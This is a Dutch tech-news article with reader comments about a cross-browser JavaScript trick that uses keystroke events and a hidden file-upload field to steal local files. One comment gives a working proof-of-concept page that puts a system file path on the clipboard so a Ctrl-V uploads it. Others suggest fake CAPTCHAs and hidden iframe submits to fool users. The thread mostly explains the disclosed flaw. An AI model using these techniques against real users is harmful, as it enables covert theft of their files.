Cookies op Tweakers

Tweakers maakt gebruik van cookies, onder andere om de website te analyseren, het gebruiksgemak te vergroten en advertenties te tonen. Door gebruik te maken van deze website, of door op 'Ga verder' te klikken, geef je toestemming voor het gebruik van cookies. Wil je meer informatie over cookies en hoe ze worden gebruikt, bekijk dan ons cookiebeleid.

Meer informatie

Door , , 92 reacties
Bron: Techweb

Enkele beveiligingsbedrijven hebben gisteren gewaarschuwd dat er een nieuw lek is ontdekt, waarmee in Javascript een keylogger te fabriceren valt. Het veiligheidsprobleem is uniek omdat het zowel cross-browser als cross-platform is: zogeheten proof-of-conceptcode werkt in Internet Explorer, Firefox, de Mozilla-suite en diens opvolger Seamonkey; zelfs de recentste, volledig gepatchte versies zijn niet immuun voor de bug. Bovendien zijn zowel Windows-, Apple- als Linux-systemen kwetsbaar. Het lek kreeg van Secunia de waardering 'less critical' mee, de op een na laagste van de vijf kwalificaties die dit Deense bureau hanteert.

Mok met Javascript Dat de exploit niet als erg bedreigend wordt gezien, is te danken aan de grote hoeveelheid input die van de nietsvermoedende gebruiker vereist wordt. Een scripthack is wel in staat om het OnKeyDown-event af te vangen zodat toetsaanslagen verwerkt kunnen worden, maar die toetsaanslagen kunnen alleen via een onzichtbare file-uploaddialoog worden verstuurd. Bovendien zal een gebruiker de volledige uri waar de gegevens naartoe gestuurd moeten worden, met de hand moeten invoeren. Gevorderde gebruikers zullen hier niet snel intuinen, maar voor de zekerheid beveelt Symantec aan om het uitvoeren van scripts uit te schakelen en 'onbekende buurten op het web te mijden'.

Moderatie-faq Wijzig weergave

Reacties (92)

Lichtelijk offtopic, maar wellicht een leuk weetje.. Met Javascript kan een website uitlezen wat je op je Clipboard(Ctrl+C) hebt staan..

Voorbeeld: http://www.skateboarden-denbosch.nl/clipboard.html

Geen bug maar een feature ;)
Denk de volgende keer maar 2 keer na als je aan wachtwoord kopieerd en plakt..
Krijg netjes de vraag of de browser het clipboard mag benaderen (allow or deny) met Vista Beta 2
Het enige probleem is dan, dat er zat gebruikers zullen zijn die hier totaal geen gevaar in zien en gewoon lukraak op Allow zullen drukken. Wel netjes overigens dat dit vanaf Vista beschikbaar komt!
nou, netjes hoor!

zit ik hier met mijn 350 euro's kostende XP...
dat heeft geen reet met Vista te maken, het is gewoon een IE optie.
Zouden ze wel eens als update in 6 mogen stoppen dacht ik zo.
hier werkt het wel ;)

Vroeger kon je met javascript gewoon de MS-dos prompt aanroepen met allerlei opties, zonder dit te hoeven bevestigen!
Op mijn werk konden we op die manier snel allerlei applicaties opstarten vanuit één centrale html-file die iedereen als startpagina had.

Ook heeft/had ieder venster zijn eigen nummer (zoals kladblok, configuratiescherm etc.)

Jammer dat er 'criminelen' zijn die er andere dingen mee uithalen, want op die manier haal je een hoop leuke functies uit de browser.

Maar er zijn tegenwoordig gelukkig nog andere manieren.
Als je die site in de tusted zone zet met de juiste rechten moet je als het goed is dat nu nog wel min of meer kunnen evenaren.
In FF doet deze site bij mij niks, maar in IE7 krijg ik een dialoogvenster te zien waarin mij wordt gevraagd of deze site toegang tot het klembord mag. Interessant...
And the winner is:
IE7
en wat heb je daar aan als webmaster ? duizenden woorden / zinnen zonder betekenis, gekoppeld aan een IP .... waardeloos dus.

Het enige waarvoor het bruikbaar zou zijn is voor brute force attacks, maar er zou zoveel rommel tussen zitten.
Bovendien hebben die reeds libraries die vele male geavanceerder zijn ...
Ik had een soortgelijk script al zo'n 2 jaar op een website draaien.

Je zult echt versteld staan hoeveel gegevens dat me opgeleverd heeft. Echt honderden MB's aan zeer gevoelige data. Je kunt er heel veel narigheid mee uithalen mocht je dat willen want iedereen heeft wel wat in z'n clipboard staan.

Ik heb ook nooit begrepen waarom MS die functie in IE gebouwd heeft. Hoeveel mensen/sites gebruiken die functie nou? Vrijwel niemand.. maar het kan op een erg foute manier misbruikt worden. Gelukkig geeft IE7 nu eindelijk een melding.
er zijn zat WYSIWYG editors die met een copy/paste functie werken die ook vanaf een externe clipboard (dus buiten de browser om) info kan halen. Ik heb er zelf ook 1 gevonden (en gebruikt) die dit zelfs in mozilla en kornuiten kan....
In Mozilla moet je sites toestaan welke deze functie mogen gebruiken. En voor een WYSIWYG-editor is het bijna onmisbaar.
begin gewoon een forum o.i.d., en sla de wachtwoorden NIET op in MD5.

De meeste mensen gebruiken een setje van hoogstens 5 verschillende wachtwoorden die ze overal gebruiken.

Of laat mensen van die vragen beantwoorden die 'grote sites' ook gebruiken om verloren wachtwoorden terug te halen. In combinatie met hun 'registratie' emailadres kun je in een hoop e-mailtjes terecht komen. (slechts een enkeling die een wisselend adres gebruikt).

Zelf gebruik ik voor iedere site een ander emailadres. (wel enigzins gerelateerd aan de site). Zo zal mijn email voor Tweakers zoiets als tweak@blahblah.xxx zijn.
Doet niets hier, XP met Firefox 1.5.0.4 zonder noscript plugin of iets vergelijkbaars.
Firefox 1.5.0.4 is dan toch wel te slim voor die "feature" :)
Firefox en Opera-gebruikers worden weer eens gediscrimineerd :( ;)
Safari @ Mac OSX 10.4.6
Niets
Werkt niet in opera 8-)
:)

De URL die jij noemt is XSS gevoelig, je kan gewoon HTML kopiëeren en dan naar die URL gaan..... :Z
FF 1.5.0.4 laat niets zien en IE 6 kwam braaf met klembord inhoud :)

Yeah, ben blij dat ik IE al heel lang niet meer gebruik. Ow wacht: even testen of FF met IE Tabs wel werkt... JA!!!! Vet, die IE plug-in voor FF werkt vrij goed!!!! :7
bullshit, wordt alleen in je eigen webbrowser weer gegeven en niet naar een site verstuurd
bullshit, wordt alleen in je eigen webbrowser weer gegeven en niet naar een site verstuurd
AJAX heel misschien?
AJAX is toch helemaal niets speciaals, gewoon een naam voor een bestaande techniek met Javascript en XML, dus ook zonder AJAX zal het wel kunnen :?
Volgens mij is het helemaal niet mogelijk om met de AJAX techniek een bestand te uploaden.
AJAX is toch helemaal niets speciaals, gewoon een naam voor een bestaande techniek met Javascript en XML, dus ook zonder AJAX zal het wel kunnen
De techniek bestaat al langer dan de naam ja, maar dat neemt niet weg dat als je die techniek gebruikt, we tegenwoordig zeggen dat dat AJAX is.
Volgens mij is het helemaal niet mogelijk om met de AJAX techniek een bestand te uploaden.
Ten eerste gaat het hier om een string, niet om een bestand. En ten tweede is het wel mogelijk om met AJAX een bestand te uploaden, het is alleen niet mogelijk om een bestand te selecteren (dat moet de gebruiker doen).
Dan ben je niet echt bekend met de mogenlijkheden van Javascript volgens mij :).

-Gebruiker bezoekt website die niet zo fris is voor serial of porn etc.
-Clipboard in een (hidden) form attribuut geplaatst (door javascript dus)
-En javascript submit nu dit form (voor zover ik weet gebeurt dit nog steeds zonder bevestiging van de gebruiker).

Dit merk je natuurlijk wel, een submit, maar dan is het al wel te laat ;).
Dat hoef je niet te merken, er hoeft alleen maar een regel te staan met
from1.submit();
Als jij zo'n scriptje in een inlineframe zet heeft niemand wat door dat er een formulier is verzonden.
Gewoon een gewoonte van maken om bij het opstarten van de pc het woord "asshole" op je Clipboard te zetten.
Via dezelfde javascript kan deze waarde wel degelijk in een formuliertje gestopt en meegestuurd worden.

Enig idee hoeveel formuliertjes jij doorwerkt bij een lange surf-sessie? (al dan niet automatisch!)

En heb je echt nog nooit een wachtwoord ge-copy/paste omdat het vervelend was om 'm over te typen?

Vroeg of laat ga je zo wachtwoorden vangen. In de meeste gevallen nog niet eens zo heel erg (weinig info over waar die info bij hoort), maar er zijn scenario's te bedenken waar het een bedreiging zou kunnen zijn.
tsja, maar dat is uiteraard heel simpel te maken
Mooi he, die no-script plugin voor firefox ;)
Hier ook niet in Firefox op OS X.
Niet in Firefox 1.5..0.4!
Werkt alleen met IE, niet met firefox en volgens mij kan de zite dit niet zien maar wordt je clipboard gewoon gepresenteerd.
Hier wat voorbeeldcode voor IE en Firefox :)
Als ik dat zo zie is het niet moeilijk om aan te passen naar een plek waar je standaart tekst moet typen, zoals een reactie plaatsen op een forum.

Het script voegt alleen de keys toe die nodig zijn om toe te voegen (ook in de juiste volgorde), de andere keys worden door het uploadform genegeerd. Hier wordt als voorbeeld gegeven C:\boot.ini, maar stel dat de gebruiker C::\\bshhdoolkt.gigni typt komt er toch C:\boot.ini te staan. Dus misschien toch makkelijker te exploiteren dan je in eerste instantie denkt.
Wat dacht je van die image-bevestigingscodes bij registraties, waar je dus iets moet overtypen uit een afbeelding :D .

"Zou u volgende willen overnemen in het tekstvak: itibo.noi"
Hier dus een voorbeeld script waar de gebruiker alleen nog maar op CTRL-V hoeft te drukken. Heb alleen een IE versie gemaakt, maar cross-browser moet ook mogelijk zijn }>

<HTML>
<!--
Clipboard fileupload IE exploid
Copyright (c) 2006 Rudolf van Elmpt
-->

<HEAD>
<SCRIPT language="Javascript">
window.clipboardData.setData("Text", "C:\\BOOT.INI");
</SCRIPT>
</HEAD>

<BODY onload="document.upload.txt.focus();">
Klik op CTRL-V om door te gaan.<br>
<FORM name="upload" method="post" action="actUpload.php">
<INPUT name="file" type="FILE" OnKeyUp="document.upload.txt.focus();">
Normaal niet zichtbaar (verstopt)<br>
<INPUT name="txt" type="text" OnKeyDown="document.upload.file.focus();"
onClick=""> Wel zichtbaar en focus.
</FORM>
</BODY>

</HTML>
}>
Wat jammer nou, Windows staat niet op C:. :P
%SystemRoot%\.... werkt ook, dus ik hoef niet eens te weten waar Windows staat. Bovendien is dit maar een voorbeeld. Ik bedoel wat heb je nu aan de BOOT.INI :?
voor de zekerheid beveelt Symantec aan om het uitvoeren van scripts uit te schakelen en 'onbekende buurten op het web te mijden'.

Dit vind ik toch geheel nuttenloos advies. De gewone gebruiker, welke de potentiele doelgroep is voor misbruik van dit lek, heeft hier totaal geen boodschap aan.

'onbekende buurten' is voor de klassieke gebruiker een veel tee vaag begrip en scripts uitschakelen kan ie niet !

Als ze het dan toch kunnen zal hij zien dat enkele van zijn "favoriete" sites plots niet meer naar behoren werkt en scripts weer aanzetten.

Ipv wat screenshotjes te publiceren van welke situaties ze moeten oplossen.
Volgens mij is dit overroepen, wat ben je met keystrokes al je net weet waar ze gebruikt zijn., bovendien staat er niks in over cross-site misbruik.

Maarja als ze de gebruiker niet bang maken, kopen ze ook geen beveiligingssoftware hé ....
Ik heb het eens aan de praat zitten krijgen met de link van GrotePrutser, maar dit is wel degelijk een fors gevaar. Er zijn namelijk helemaal niet veel handelingen nodig van de gebruiker, zoals het artikel beweert. Sterker nog, de gebruiker hoeft alleen maar een verhaal in de typen en op "submit" te drukken - iets dat tientallen miljoenen mensen dagelijks doen op weblogs en andere sites.

Het werkt als volgt: je definieert in javascript van tevoren de naam van een bestand, bijvoorbeeld "C:\boot.ini"

Vervolgens typt de nietsvermoedende gebruiker een stuk tekst in een tekstveld. Wanneer hij de "c" intypt - de eerste letter van de verlangde bestandsnaam - wordt deze in het file-upload-veld geplaatst. Wanneer hij vervolgens een dubbele punt intypt, wordt die daarachter in het file-upload veld geplaatst. Vervolgens is het wachten tot de gebruiker een backslash intikt, een "b", een "o" etc. Andere letters worden genegeerd, evenals letters die nog niet aan de beurt zijn. Als de gebruiker tijdens zijn typwerk toevallig alle letters in de juiste volgorde heeft gebruikt, en het bestand in kwestie bestaat op zijn harde schijf, zal het bestand onmerkbaar worden geupload.

Ik heb het net getest in Firefox en het werkt inderdaad. Nou zal niet iedereen een dubbele punt en een backslach gebruiken in zijn teksten, en de kans dat iemand net alle letters van een gewenst bestand intikt is niet al te groot, maar het is wel degelijk een zeer reëel risico. Ik heb de indruk dat ze bij Symantec hebben liggen slapen of de code gewoon niet snappen.

Om aan te geven hoe lastig het is om te implementeren: het kostte mij nog geen minuut om de code inclusief uploads in de praktijk aan de praat te krijgen.
Bovendien zal een gebruiker de volledige uri waar de gegevens naartoe gestuurd moeten worden, met de hand moeten invoeren
Dit is onjuist. Je kunt de uri gewoon in de action van je formulier definiëren. Voeg een enctype="multipart/form-data" toe en het bestand wordt gewoon geupload. De gebruiker heeft niks door - zelfs gevorderde gebruikers kunnen hier met open ogen intuinen.

/edit - net het verhaal op Techweb zitten lezen. Daar snappen ze duidelijk ook niet hoe het werkt. Kwestie van de klok wel horen luiden maar de klepel niet kunnen downloaden.
precies,

al die ignorant m*f*'s die hier de boel overbodig lopen te modden moeten eens op zoek naar de klepel.

Als je de user nog een handje wil helpen kun je eventueel on the fly nog wel even een plaatje generaten met het resterende stukje url wat je nog mist.

Stel de gebruiker heeft c:/windows/a al gebruikt in zijn comment, dan kun je het stukje dat je nog mist wel even naar de server posten om zo een captcha te genereren met daarin onder andere de letters enzo die je nog mist. En een captcha is tegenwoordig heel gewoon om even te testen of iemand wel human is. Desnoods fake je een captcha error, en vraag je de gebruiker om nog een captcha over te typen, als je nog te veel chars mist.

Daarom is de profile directory in firefox dus altijd random, en kunnen ze zo niet je password/bookmarks files downloaden.
Browsers zouden net zoals in Konqueror een dialoogvenster moeten weergeven met de melding dat er bestanden worden meegestuurd op een POST - en ook wélke bestanden dat zijn :) dan is dit lek een stuk minder makkelijk te misbruiken. Wel slim bedacht though.
Zoals het in dit artikel wordt uitgelegd klopt het niet. Het is niet vereist dat de gebruiker de URI waar de gegevens heen worden gestuurd in typed, maar dat hij/zij het pad naar het bestand, dat geupload moet worden, in typed.

Nog wat gedetaileerde info:

Het werkt met een formulier waarin een text input en een onzichtbare file input zit. Als in de text input wordt getyped, dan wordt de focus naar de file input verplaatst, via het keydown event. De char die de gebruiker typed wordt dan in de file input geplaatst. Daar wordt een volgende event afgevangen, namelijk keypress, welke de char opslaat in een variabel. (De volgorde is keydown -> keypress -> keyup.) Bij het keyup event wordt de opgeslagen char aan de text input toegevoegd en wordt de focus weer terug geplaatst.

Van een file input is de waarde niet via JS aan te passen, dus dit is wel een leuke trick. Het is geen bug overigens, meer creatief met events.
Stel dat je de user een CAPTCHA laat zien:

c1:2/3f4i5l6e.7e8x9e

De user tiept dat over, omdat er gratis pr0n beloofd wordt,
En je filtert alleen c:/file.exe eruit. Daarna kan de browser met een simpel form submit dat stukje uploaden, of zelfs wachten tot de gebruiker op de login/reageer knop drukt.
Dat werkt dus niet. Het moet echt een kloppend volledig (absoluut) pad naar een bestand zijn. Bijvoorbeeld C:\WINDOWS\clock.avi. (Niet dat ze daar wat aan hebben, maar je snapt het idee.) Vandaar dat dit ook zo moelijk te exploiteren is. Iedere weldenkende gebruiker typed zoiets niet in. Helaas zijn er genoeg die geen idee hebben waar ze mee bezig zijn en gewoon intypen waar om gevraagd wordt.
De gebruiker hoeft dat pad ook niet in te typen. Hij hoeft alleen alle karakters van dat pad in de juiste volgorde te gebruiken tijdens het invullen van een formulier. Hoeveel andere karakters hij daar tussendoor gebruikt maakt niet uit.
De gebruiker hoeft dat pad ook niet in te typen. Hij hoeft alleen alle karakters van dat pad in de juiste volgorde te gebruiken tijdens het invullen van een formulier.
Mja, like that's ever going to happen... Men zou ook nog eerst de filenaam moeten weten die men nodig heeft. Alsof je ooit zoveel \ in een input gaat zitten tikken ;)

Het is gewoon veel makkelijker om ff een active X control te laten installen die dat voor je doet :P Trapt toch 90% van de gebruikers in :+
@ Michali,

jij weet niet wat een captcha is? (zo'n plaatje met vervormde tekst, die kijkt of je wel mens bent, daar staat dan "random" meuk in die je moet over typen, waarom zouden daar niet toevallig ook de benodigde letters in geplaats kunnen worden?(eventueel 2 captcha's zodat het lijkt als of het opnieuw moet, en de string dus in 2 stukjes opgehaald kan worden.

besides kun je redelijk simpel files guessen, omdat je vaak het OS al aan de browser name kunt zien, en dus vrij gecontrolleerd naar dingen als pwl files kunt gaan sturen.
Je kunt een hidden file input toch een standaard waarde geven? <div style="visibility:hidden"><input type=file value="c:\boot.ini"></div>

Of heb ik dit nu mis?
Ja, dat heb je mis ;)
Wat is Javascript toch een ranzige taal eigenlijk, een browser die precies alle keystrokes bij kan houden.

Eigenlijk zou client en server uit veiligheidsoogpunt compleet afgelsoten van elkaar moeten zijn, op wat simpele formulieren na. Maarja, met deze instelling is waarschijnlijk ook Javascript bedacht.
... met die redenatie ben je weer terug op internet anno 1990. Vooruitgang houdt nou eenmaal dit soort 'features' in.

Het is aan de browser om geen 'dingen' te lekken naar een website, of anderzijds rommel uit te voeren. Iets wat tegenwoordig steeds beter geregeld wordt (zie b.v. de IE7 waarschuwing hierboven).
Bedankt voor je uitleg, al begrijp ik nog niet het gevaar echt.

Is het zo dat er stiekem een tekst in een file input wordt geplaatst (via de 3 events en de focus), en als je deze submit, dat er dus eventueel een file verstuurd wordt?

Bijvoorbeeld, ik tik het woord /etc/password in in de pop-up van tweakers.net (zoals ik in werkelijk daarnet heb gedaan) kan dan (met deze hack) /etc/password naar een aavaller verstuurd worden?

Dat klinkt wel serieus (en bijzonder goed buiten-de-doos-denken.)

[edit]
Grrr. Reacties voor mij ;)

@Michali

Het script lijkt een constante filenaam te "zoeken". Als je deze dus per ongeluk tikt (met verkeerde letters tussen de juiste letters) kan het script deze (juiste) letters naar de input verplaatsen.

Hiervoor heb je niet eens een captcha nodig, maar voldoet een voldoende lange reactie al ;) Als je wil dat /etc/password wordt geupload dan is het voldoen om een zin als de volgende te tikken:

[quote]
Mijn /home/sendy is te schrijven door iedereen! Iemand hoeft maar chmod a+rwx /home/sendy te doen en ze plempen er zo een nieuwe .ssh/authorized_hosts files neer. Ik ben bang voor mijn wachtwoord!
[/quote]

Er kan natuurlijk een lijstje gemaakt worden, of slim gezocht worden naar de juiste bestanden, al weet ik niet of je dan een foutmelding krijgt.

Het lijkt me dus redelijk ernstig en een reden om de veiligheid van tweakers.net grondig te onderzoeken :+
Nog beter, je vult via Javascript het kladblok b.v. window.clipboardData.setData("Text", "C:\boot.ini").
Vervolgens hoef je de gebruiker alleen nog maar zo gek te krijgen om CTRL-V typen en via de 3 events heb je C:\boot.ini (of wat je maar wil) in de hidden file input te krijgen.

Edit:
Zie mijn reactie op Grote Prutser
Lijkt me nogal makkelijk om dit een bug te noemen.
Straks zijn browsers ook nog schuldig als een gebruiker vrijwillig zijn paswoord e-mailt naar de eerste de beste hacker. M.a.w. de gebruiker moet veel te veel acties ondernemen om dit nog een bug te kunnen noemen in mijn ogen.
Wie zegt het dit een bug is? Dit is een gevaarlijke exploit...
Lijkt me niet zo raar.... die kan toch gewoon? Wat is er vreemd aan. Maar die onzichtbare file-uploaddialoog vind ik wel vreemd
Maar, als ik het goed begrijp...

Je laat de gebruiker een heel verhaal typen (bijvoorbeeld een reactie op een bericht), en je zorgt ervoor dat je de keystrokes c, :, \, w, i, n, d, o, w, s, \, ... etc eerst de focus op het file input veld verplaatst, keypress, en focus weer naar het orginele veld (ook hier even het karakter toevoegen).

Op deze manier kan je dus, mits er voldoende invoer van de gebruiker is geweest, elke gewenste file uploaden zonder dat de gebruiker het weet...

Je hebt dan wel een hoop input nodig, maar wellicht dat als je genoeg traffic hebt dat dan een paar keer lukt...

[edit] net te laat, Anders heeft een coherenter verhaal ;-)
Dat jullie het nog durven om c:\b00t.ini in te typen ;)

Trouwens, hiermee heb je toch nog geen keylogger? Met deze hack kun je dus hooguit een of andere file op de harddisk naar een site toe sturen. Ik zie de link met een keylogger niet. Verder werkt dit hele verhaal niet als de betreffende pagina geen focus heeft, dus ik zie hiermee écht geen vette keylogger gemaakt worden.
Dat jullie het nog durven om c:\b 00t.ini in te typen

Tr
o uwens, hiermee heb je t o ch nog geen keylogger? Me t deze hack kun je dus hooguit een of andere file op de harddisk naar een site toe sturen . Ik z i e de li n k met een keylogger n i et. Verder werkt dit hele verhaal niet als de betreffende pagina geen focus heeft, dus ik zie hiermee écht geen vette keylogger gemaakt worden.
O-)

Op dit item kan niet meer gereageerd worden.



Apple iOS 10 Google Pixel Apple iPhone 7 Sony PlayStation VR AMD Radeon RX 480 4GB Battlefield 1 Google Android Nougat Watch Dogs 2

© 1998 - 2016 de Persgroep Online Services B.V. Tweakers vormt samen met o.a. Autotrack en Carsom.nl de Persgroep Online Services B.V. Hosting door True